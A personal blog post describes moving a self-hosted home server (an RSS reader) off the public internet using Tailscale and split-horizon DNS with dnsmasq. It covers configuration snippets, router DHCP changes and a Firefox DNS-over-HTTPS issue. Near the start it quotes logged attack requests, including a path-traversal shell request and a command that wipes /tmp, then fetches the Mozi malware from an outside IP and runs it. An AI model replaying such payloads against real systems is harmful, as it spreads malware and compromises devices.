For a while now I've been running a small home server to self-host a handful of applications (e.g., an RSS reader). It's trivial to access when I'm at home (on the same network as the server), but what about while I'm away? My ISP is kind enough not to block inbound ports 80 & 443, and while my IP address isn't technically static, for practical purposes it seems to be. So, my first attempt at putting all this together was quite straightforward: on my router, I assigned my server (aka treebeard) a static private IP address and forwarded incoming traffic on ports 80 & 443 to it. I set up Apache on the server to keep each application on a separate subdomain and to serve them over HTTPS (using Let's Encrypt certificates). Then all I needed to do was to add a DNS A record pointing to my IP address whenever I added a new subdomain for an application.

It works! Whether I'm at home or travelling, I can stay up to date with my RSS feeds.

However… it should come as no surprise that if you leave a server accessible on the internet, you're going to get some weird requests:

[21/Jan/2022:00:46:21] "GET /database/index.php?lang=en HTTP/1.1"
[21/Jan/2022:03:36:07] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1"
[21/Jan/2022:08:54:38] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://117.194.163.80:57578/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1"

I've tried to take common-sense precautions (e.g., disabling ssh password authentication; setting up fail2ban), but I'm certainly not a security expert, and I don't monitor this machine zealously. Plus, now I have to hope there aren't any security vulnerabilities in any of the applications I might be messing around with. With everything publicly accessible, it only takes one exploit to compromise it all…

Brainstorming

So, how can we do better? Well, I'm vaguely aware of the idea of a "VPN," which I'm pretty sure stands for "virtual private network…" seems promising. I'm also looking for something free (ideally both as in "free beer" and "free speech"); I seem to recall that OpenVPN and WireGuard are in this space. A quick bit of research confirms my suspicions, however: OpenVPN seems a bit involved to set up, and while WireGuard seems cool, the inherent point-to-point nature looks like it would be an annoyance in practice.

But wait… doesn't that one guy with the cool blog also work on something like this? Aha! Indeed, Avery Pennarun (of apenwarr.ca) is the CEO of Tailscale. And oh right, their blog had that amazing explanation of how they do NAT traversal—highly recommended. After perusing their docs, Tailscale seems to offer the best of both worlds: WireGuard is used to exchange data between any two nodes, but Tailscale provides a "coordination server" so that you don't need to personally manage setting up all the possible point-to-point connections. Once your device is on Tailscale, it gets a stable IP address at which you can reach it. (As one might expect, Tailscale has an excellent blog post explaining how this all works.) Plus, it looks like the free personal tier is sufficient for my needs—sweet!

With all these ingredients, it seems like we're getting somewhere. First, let me formalize what I'm trying to accomplish into some requirements.

The requirements

1. My home server should not be accessible on the public internet.
2. I should be able to access the applications running on my server from wherever I happen to be (possibly via a VPN).
3. Application URLs should be the same inside and outside of my private network.
   • I.e., https://miniflux.simpsonian.ca should resolve to my RSS reader whether I'm on my laptop at home, or using data on my phone elsewhere.
4. Ideally, all of this should be powered by free software, and also not cost me a cent.

Setting up the VPN (Tailscale)

O, that all software setup were this joyous. The download page is dead simple; adding the repository and installing the package Just Works™ on both my x86 laptop (running Ubuntu) and my ARM server (Debian). I don't love having to use a third-party identity provider (instead of creating an account with my email), but whatever. In a matter of minutes I'm up and running, with pings successfully travelling across a WireGuard tunnel between my laptop and server. Cool!

So, what now? Well, at this point, I could update my DNS A records to point to my server's Tailscale IP address (and turn off the packet forwarding on the router). My server would no longer be exposed to the internet, and I could still access it anywhere—success? One thing about this still irks me though: to access the server, I need to use Tailscale all the time, even when I'm on the same private network as my server. I doubt this would be much of an issue practically speaking, but something about it still feels wrong to me. If a friend is visiting and I want to show them something on the server, I should just be able to send them the link, without them needing to install and configure Tailscale.

Ultimately, it seems like I want to point miniflux.simpsonian.ca to two different locations: the private IP address when we're inside the network, and the Tailscale IP address when we aren't. That shouldn't be possible though, right? There can only be one set of authoritative records; how could devices on the private network see anything else? Wait… we are in control of the private network, duh! If we set up our own DNS server, presumably we could route simpsonian.ca subdomains to my server's private IP address, while still leaving the authoritative records pointing to the Tailscale IP address. If you're on the private network, you can just connect with no fuss—and if you're outside, you can still connect via Tailscale! (And of course, if the client is trying to look up any other domain, we'll just fall back to the ISP's DNS servers.)

A little more research alongs these lines uncovers that I've just re-invented "Split-horizon DNS." Oh well.

Anyways, we've got a plan. Let's make it happen!

Making it happen

Choosing a DNS server

At this point, I was pumped. In my quest to find a DNS server I could run myself, the first thing I hit upon was BIND 9, which advertises itself as "the first, oldest, and most commonly deployed [DNS] solution." Seems a little heavyweight perhaps, but I dove into the BIND 9 Administrator Reference Manual, undeterred. As comprehensive as that documentation seemed, a small voice inside asked if there wasn't a somewhat less complicated way to get this all working. Thankfully for my sanity, further research led me to dnsmasq.

dnsmasq

dnsmasq is a pretty nifty little tool: in its most basic form, it defines local DNS names by reading /etc/hosts, and forwards everything else to an upstream server (aka whatever DNS server you were using before, perhaps provided by your ISP). There's plenty of other configuration options, but just a static hosts file is sufficient for my needs.

(A quick aside is in order, since I wasn't aware of this distinction: a recursive DNS server makes all the queries required to translate a domain to an IP address. For instance, to resolve miniflux.simpsonian.ca, a recursive DNS server might need to first consult a root server ("who has the records for .ca?"), then a ccTLD server ("who has the records for simpsonian.ca?"), then finally a third server that holds the relevant authoritative records ("you want miniflux.simpsonian.ca? oh, that's 203.0.113.132"). dnsmasq is not a recursive DNS server, but a forwarding one: it doesn't perform the recursion itself, it just hands the query over to a DNS server that can.)

My installation of dnsmasq came with a commented-out /etc/dnsmasq.conf explaining the various options. (I love when software ships like this!) After a bit of tinkering, here's what I ended up with:

$ grep ^[^#] /etc/dnsmasq.conf # show uncommented lines; aka everything I configured
domain-needed
bogus-priv
no-hosts
addn-hosts=/etc/hosts_dnsmasq

$ cat /etc/hosts_dnsmasq
# This is the host file intended to be read by dnsmasq. dnsmasq is being used
# to create a split DNS environment--devices on the local network will connect
# directly to treebeard; outside of the local network they will have to go
# through Tailscale.
192.168.0.200   local.simpsonian.ca
192.168.0.200   miniflux.simpsonian.ca

The first two options, domain-needed and bogus-priv, were suggested by the comments ("[these options] make you a better netizen, since they tell dnsmasq to filter out queries which the public DNS cannot answer, and which load the servers (especially the root servers) unnecessarily.")—sure, sounds good. By default, dnsmasq will read /etc/hosts; for me that file contains a line like 127.0.1.1 treebeard. I didn't want dnsmasq to resolve that, nor do I have a complete understanding of why that's there in the first place, so I left /etc/hosts alone and kept dnsmasq-related things in /etc/hosts_dnsmasq. As you've probably guessed, the last two options in my config tell dnsmasq to read only the latter.

Could it be as simple as that? sudo journalctl -u dnsmasq says no:

Starting dnsmasq - A lightweight DHCP and caching DNS server...
dnsmasq: failed to create listening socket for port 53: Address already in use
failed to create listening socket for port 53: Address already in use

I know port 53 is typically used for DNS, but why is it in use already? According to StackExchange, this is caused by systemd-resolved; I didn't investigate much further beyond following the advice to set DNSStubListener=no in /etc/systemd/resolved.conf, which freed up port 53 for dnsmasq.

How about now?

$ dig +short @1.1.1.1   miniflux.simpsonian.ca # query some public DNS server
203.0.113.132
$ dig +short @localhost miniflux.simpsonian.ca # query the dnsmasq server we set up
192.168.0.200

Huzzah! To the outside world, miniflux.simpsonian.ca resolves to the Tailscale IP address, but if you ask treebeard directly, you'll get the private IP address. We're getting close now!

Configuring the router

This part is straightforward—in my router's web admin portal, under the DHCP server settings, I was able to specify my server's private IP address as the DNS server to use. Now when a device joins the network, it's told to contact my dnsmasq server (not the router) for any DNS queries it needs to make. Checking the assigned DNS server from nmcli dev show wlan0 before and after reconnecting to the network on my laptop shows the change, as expected.

I also disabled forwarding ports 80 & 443 to my server, since that should no longer be required. We're no longer on the internet!

Bonus points: Pi-hole?

Y'know, I've heard people talk about setting up a Pi-hole, which I think is just some local DNS server running on a Raspberry Pi which (intentionally) fails to resolve domains that are known to serve ads/malware… isn't that basically what we've just created? Sure enough, according to their docs, the DNS part of Pi-hole builds atop dnsmasq. (Of course, a proper Pi-hole installation comes with other goodies, like a nice web interface.)

So, one unanticipated upside of this whole dnsmasq setup (that I have yet to explore) is that I should be able to piggyback off of existing Pi-hole blocklists to get some extra ad blocking without much effort—sweet.

Verifying it works

On my phone, everything looks good: if I'm connected to the local network (via WiFi), I can access miniflux.simpsonian.ca. If I switch to data (meaning I'm no longer on the private network), I cannot access miniflux.simponian.ca—not until I enable Tailscale on my phone, after which everything works again.

My laptop, however, is a different story. With Tailscale enabled, it works, but when I turn Tailscale off my connection times out. What gives? At first I started searching for how to investigate Firefox's DNS resolution, then I remembered a blog post from the summer: didn't Firefox enable some DNS safety feature?

Right, yep—Firefox now uses DNS-over-HTTPS (DoH) by default (example contentious Hacker News discussion) . I think I like this overall—not sending DNS queries over plain text seems like the right thing to do—but unfortunately this means that Firefox defaults to ignoring your system DNS settings, which also seems bad. Regardless, if I disable that option, things work as expected again. (I chose to leave DoH enabled and always run Tailscale on my laptop.)

Finally, success!

End result

After all that's said and done, here's what we have:

Overall, I'm quite happy with the solution. It satisfies the requirements I laid out previously, and has been working flawlessly so far. I hope you learned as much reading this as I did putting it together!